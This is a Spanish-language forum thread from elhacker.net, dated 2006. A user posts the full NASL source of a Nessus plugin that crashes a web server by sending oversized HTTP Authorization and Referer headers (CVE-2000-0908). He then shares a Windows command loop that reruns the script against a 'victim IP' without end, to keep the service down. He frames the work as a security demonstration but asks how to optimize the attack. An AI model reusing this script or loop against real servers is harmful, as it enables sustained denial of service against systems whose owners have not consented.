elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Ingresar Registrarse
06 Septiembre 2008, 00:50  



+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Hacking Avanzado (Moderadores: ANELKAOS, zhyzura)
| | |-+  Nessus
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Imprimir
Autor Tema: Nessus  (Leído 414 veces)
@lu$!n

Desconectado Desconectado

Mensajes: 53



Ver Perfil
Nessus
« en: 20 Septiembre 2006, 02:47 »

Hola a todos, creo que esta es una muy buena pregunta, les platico un poco lo que he hecho...

Estoy tratando de explotar una vulnerabilidad de un equipo IIS 6.0 que encontre para realizar una demostración de seguridad en los equipos IIS, la vulnerabilidad es "BrowseGate HTTP headers overflows"

http://www.nessus.org/plugins/index.php?view=single&id=11130

con Nessus YA EXPLOTE la vulnerabilidad, y el puerto 80 se cierra al momento de ejecutar mi scaneo, pero tengo que estar entrando a correr el scaneo cada vez que quiero que se caiga el servicio, tengo el Framework 2.6 de metasploit pero esta Vulnerabilidad no viene dentro de sus xploits, no soy para nada bueno programando codigo y buscando por la web y no he encontrado algun codigo que me facilite la tarea para poder correr el xploit cada vez que la PAGINA ESTE VIVA DE NUEVO

en la pagina del nessus viene el codigo fuente que explotan ellos para la vulnerabilidad:

Plugins
 
#
# This script was written by Michel Arboi <arboi@alussinan.org>
# GPL
# *untested*
#
# This is an old bug. I don't know if we need _two_ overflows to
# crash BrowseGate or if this crashes any other web server
#
# Script audit and contributions from Carmichael Security <http://www.carmichaelsecurity.com>
# Erik Anderson <eanders@carmichaelsecurity.com>
# Added BugtraqID and CVE


if(description)
{
script_id(11130);
script_bugtraq_id(1702);
script_version ("$Revision: 1.10 $");
script_cve_id("CVE-2000-0908");
name["english"] = "BrowseGate HTTP headers overflows";
script_name(english:name["english"]);

desc["english"] = "It was possible to kill the BrowseGate
proxy by sending it an invalid request with too long HTTP headers
(Authorization and Referer)

A cracker may exploit this vulnerability to make your web server
crash continually or even execute arbirtray code on your system.

Solution : upgrade your software or protect it with a filtering reverse proxy
Risk factor : High";

script_description(english:desc["english"]);

summary["english"] = "Too long HTTP headers kill BrowseGate";
script_summary(english:summary["english"]);

script_category(ACT_DESTRUCTIVE_ATTACK);

script_copyright(english:"This script is Copyright (C) 2002 Michel Arboi");
family["english"] = "Gain root remotely";
family["francais"] = "Passer root à distance";
script_family(english:family["english"], francais:family["francais"]);
script_require_ports("Services/www", 80);
script_dependencie("find_service.nes");
exit(0);
}

########

include("http_func.inc");



port = get_http_port(default:80);

if(! get_port_state(port)) exit(0);
if (http_is_dead(port: port)) exit(0);

soc = http_open_socket(port);
if(! soc) exit(0);

#

r = string("GET / HTTP/1.0\r\n",
"Authorization: Basic", crap(8192), "\r\n",
"From: nessus@example.com\r\n",
"If-Modified-Since: Sat, 29 Oct 1994 19:43:31 GMT\r\n",
"Referer: http://www.example.com/", crap(8192), "\r\n",
"UserAgent: Nessus 1.2.6\r\n\r\n");

send(socket:soc, data: r);
r = http_recv(socket:soc);
http_close_socket(soc);
#

if (http_is_dead(port: port)) { security_hole(port); }

espero que el temas les interesa y me puedas ayudar o dar mas ideas de como puedo optimizar este ataque.

SALUDOS Y GRACIAS DE ANTEMANO
En línea
@lu$!n

Desconectado Desconectado

Mensajes: 53



Ver Perfil
Re: Nessus
« Respuesta #1 en: 21 Septiembre 2006, 00:35 »

Hola a todos....les platico, ya encontre una solución a mi problema

desde la linea de comandos en la ruta de la instalación del nessus.....es posible correr el script y poder optimizarlo al maximo

C:\Program Files\Tenable\Nessus>nasl -t ip-victima -s script

tan facil como esto y listo...con un bucle FOR se optimiza el proceso

C:\Program Files\Tenable\Nessus>for /L %i IN (1,2,99999999999999999999999999999999999999999999999999999999999999999999) DO nasl -t ip-victima -s script



Saludos y espero alguno se haya interesado en mi tema
En línea
Páginas: [1] Ir Arriba Imprimir 
Ir a:  







Consolas     La Web de Goku     MilW0rm     MundoDivx

Hispabyte     Truzone     TodoReviews     ZonaPhotoshop

hard-h2o modding    Foros de ayuda    Yashira.org    Videojuegos    indetectables.net   

Noticias Informatica    Seguridad Informática    ADSL    Foros en español    eNYe Sec

Todas las webs afiliadas están libres de publicidad engañosa.

Powered by SMF 1.1.5 | SMF © 2006-2008, Simple Machines LLC